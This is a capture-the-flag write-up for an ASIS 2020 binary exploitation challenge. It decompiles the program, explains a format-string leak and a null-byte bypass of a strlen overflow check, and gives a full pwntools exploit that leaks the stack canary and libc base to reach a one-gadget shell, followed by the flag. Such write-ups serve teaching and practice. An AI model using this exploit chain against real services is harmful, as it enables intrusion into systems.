Full Protection

by Internaut401 / BullSoc

Tags: binary-exploitaion pwn

Rating:

The challenge has all the protections:

```
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
```

MAIN:

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx
  int result; // eax
  __int128 v5; // [rsp+0h] [rbp-58h]
  __int128 v6; // [rsp+10h] [rbp-48h]
  __int128 v7; // [rsp+20h] [rbp-38h]
  __int128 v8; // [rsp+30h] [rbp-28h]
  unsigned __int64 v9; // [rsp+48h] [rbp-10h]
  __int64 v10; // [rsp+50h] [rbp-8h]

  v10 = v3;
  v9 = __readfsqword(0x28u);
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  while ( (unsigned int)readline((char *)&v5, 64) )
  {
    __printf_chk(1LL, (__int64)&v5);
    _IO_putc(10, _bss_start);
  }
  result = 0;
  __readfsqword(0x28u);
  return result;
}
```

READLINE:

```
size_t __fastcall readline(char *s, signed int a2)
{
  size_t result; // rax
```

```
  gets();
  result = strlen(s);
  if ( (signed int)result >= a2 )
  {
    puts("[FATAL] Buffer Overflow");
    _exit(1);
  }
  return result;
}
```

After several tests, I found some vulnerabilities:

- format string (without any direct access to the parameters)
- the input is subject to buffer overflow. Because the lenght is checked with `strlen()` (lenght until '\0' character). Inserting the '\0' and adding bytes afterwards generates overflow.

Using the format string I read the canary and the main return address. It returns to a point in the libc function '__libc_start_main'. The libc was provided to us. Analyzing the libc, the main return address is 138135 bytes from the beginning of the libc. We can therefore calculate the libcbase a runtime. In the supplied libc there are 2 one gadgets.

The exploit:

- address leak and canary
- libcbase calculation
- overflow by overwriting the return address with the one gadget

Exploit:

```
from pwn import *

libc = ELF("./libc-2.27.so")

fms = "%p%p%p%p%p%p%p%p%p%p%p%p%p_%p_%p_%p"
one_gadget1 = 0x4f322
one_gadget2 = 0x10a38c


p = remote("69.172.229.147", 9002)
#p = process("./chall")
p.sendline(fms.encode())
print(p.recvuntil('_'))
canary = int(p.recvuntil('_').decode().replace("_", ""), 16)
p.recvuntil('_')
main242 = int(p.recvuntil('\n').decode().replace("\n", ""), 16)
print("Canary:.................",hex(canary))
print("main242:................",hex(main242))
libcbase = main242-138135   #remote libc
print("libcbase:..............",hex(libcbase))

buf = (("A"*63) + "\0" + ("B"*8)).encode()
buf += p64(canary)
buf += ("A"*8).encode()
buf += p64((libcbase+one_gadget1))
p.sendline(buf)
print(p.recvuntil('\n').decode())
p.sendline("\n".encode())
p.interactive()
```

FLAG

`ASIS{s3cur1ty_pr0t3ct10n_1s_n07_s1lv3r_bull3t}`

Original writeup
(https://github.com/Internaut401/CTF_Writeup/blob/master/2020/ASIS%20CTF%20Quals%202020%20%20/Full%20Protection.md).

Comments